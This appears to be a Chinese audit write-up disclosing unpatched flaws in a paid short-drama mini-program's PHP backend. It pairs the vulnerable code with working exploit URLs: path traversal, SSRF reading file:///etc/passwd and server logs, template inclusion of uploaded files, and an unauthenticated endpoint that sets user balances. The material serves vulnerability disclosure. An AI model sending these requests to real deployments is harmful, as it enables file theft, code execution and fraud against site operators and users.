某付费短剧影视小程序后端审计(0day)

/** * Ajax异步请求接口 * @internal */class Ajax extends Frontend{


  protected $noNeedLogin = ['lang'];  protected $noNeedRight = ['*'];  protected $layout = '';


  /**     * 加载语言包     */  public function lang(){    header('Content-Type: application/javascript');    header("Cache-Control: public");    header("Pragma: cache");


    $offset = 30 * 60 * 60 * 24; // 缓存一个月    header("Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT");


    $controllername = input("controllername");    $this->loadlang($controllername);    //强制输出JSON Object    $result = jsonp(Lang::get(), 200, [], ['json_encode_param' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]);    return $result;  }

/*** 加载语言文件* @param string $name*/protected function loadlang($name){  $name =  Loader::parseName($name);  Lang::load(APP_PATH . $this->request->module() . '/lang/' . $this->request->langset() . '/' . str_replace('.', '/', $name) . '.php');}

/index/ajax/lang?lang=../../application/database

/*** 请求接口返回内容* @param  string $url [请求的URL地址]* @param  string $params [请求的参数]* @param  int $ipost [是否采用POST形式]* @return  string*/function juhecurl($url,$params=false,$ispost=0){  $httpInfo = array();  $ch = curl_init();  curl_setopt( $ch, CURLOPT_HTTP_VERSION , CURL_HTTP_VERSION_1_1 );  curl_setopt( $ch, CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22' );  curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT , 30 );  curl_setopt( $ch, CURLOPT_TIMEOUT , 30);  curl_setopt( $ch, CURLOPT_RETURNTRANSFER , true );  if( $ispost )  {    curl_setopt( $ch , CURLOPT_POST , true );    curl_setopt( $ch , CURLOPT_POSTFIELDS , $params );    curl_setopt( $ch , CURLOPT_URL , $url );  }  else  {    if($params){      curl_setopt( $ch , CURLOPT_URL , $url.'?'.$params );    }else{      curl_setopt( $ch , CURLOPT_URL , $url);    }  }  $response = curl_exec( $ch );  if ($response === FALSE) {    //echo "cURL Error: " . curl_error($ch);    return false;  }  $httpCode = curl_getinfo( $ch , CURLINFO_HTTP_CODE );  $httpInfo = array_merge( $httpInfo , curl_getinfo( $ch ) );  curl_close( $ch );  return $response;}

/api/Ems/juhecurl?url=file:///etc/passwd

<?phpnamespace appapicontroller;use appcommoncontrollerApi;/** * 首页接口 */class Index extends Api{  protected $noNeedLogin = ['*'];  protected $noNeedRight = ['*'];


  /**     * 首页     *     */  public function index(){    $config=$this->config();    $configs=config('site');    $map['ishot']=2;    $map['endtimesjc']=['>',time()];    if(input('uid',0)>0){      $map['uid']=input('uid');    }    $list =  model('Task')      ->with('users')      ->where($map)      ->limit(10)      ->select();    if($list){      foreach ($list as $k=>$v){        $list[$k]['createtime']=date('Y-m-d H:i',$v['createtime']);        if(isset($v['users']['avatar'])){          if(strpos($v['users']['avatar'],'http') !== false){             $list[$k]['avatar']=$v['users']['avatar'];          }else{            if($v['users']['avatar']){              $list[$k]['avatar']= $configs['imgurl'].$v['users']['avatar'];            }else{              $list[$k]['avatar']=$configs['imgurl'].'/uploads/20200523/250b3f89b40ff3714b07cc51b4c2f63d.png';            }          }         }else{          $list[$k]['avatar']=$configs['imgurl'].'/uploads/20200523/250b3f89b40ff3714b07cc51b4c2f63d.png';        }





      }    }    $data=['config'=>$config,'doctor'=>$list];    $this->success('请求成功',$data);  }

/api/index

/*** 空的请求* @param $name* @return mixed*/public function _empty($name){    $data = Hook::listen("user_request_empty", $name);    foreach ($data as $index => $datum) {      $this->view->assign($datum);    }    return $this->view->fetch('user/' . $name);  }

public function fetch($template, $data = [], $config = []){    if ('' == pathinfo($template, PATHINFO_EXTENSION)) {      // 获取模板文件名      $template = $this->parseTemplate($template);    }    // 模板不存在 抛出异常    if (!is_file($template)) {      throw new TemplateNotFoundException('template not exists:' . $template, $template);    }    // 记录视图信息    App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');    $this->template->fetch($template, $data, $config);  }

/index/user/_empty?name=../上传的图片地址

/api/ems/juhecurl?url=file:///D:/phpstudy_pro/WWW/runtime/log/202406/29.log

<FilesMatch .(?i:html|php)$>  Order allow,deny  Deny from all</FilesMatch>

public function money($money,$user_id,$id,$sxf=0){  $user = $this->Usermodel::get($user_id);  if ($user && $money != 0) {    $before = $user->money;    $after = $user->money + $money;    //更新会员信息    $user->save(['money' => $after]);    //写入日志    MoneyLog::create(['user_id' => $user_id, 'money' => $money, 'before' => $before, 'after' => $after,'fid' => $id, 'sxf' =>$sxf,'memo' => '用户佣金']);  }else{    $this->error(__('金额不对'));   }}

/api/mytask/money?money=12345&user_id=1550&id=1550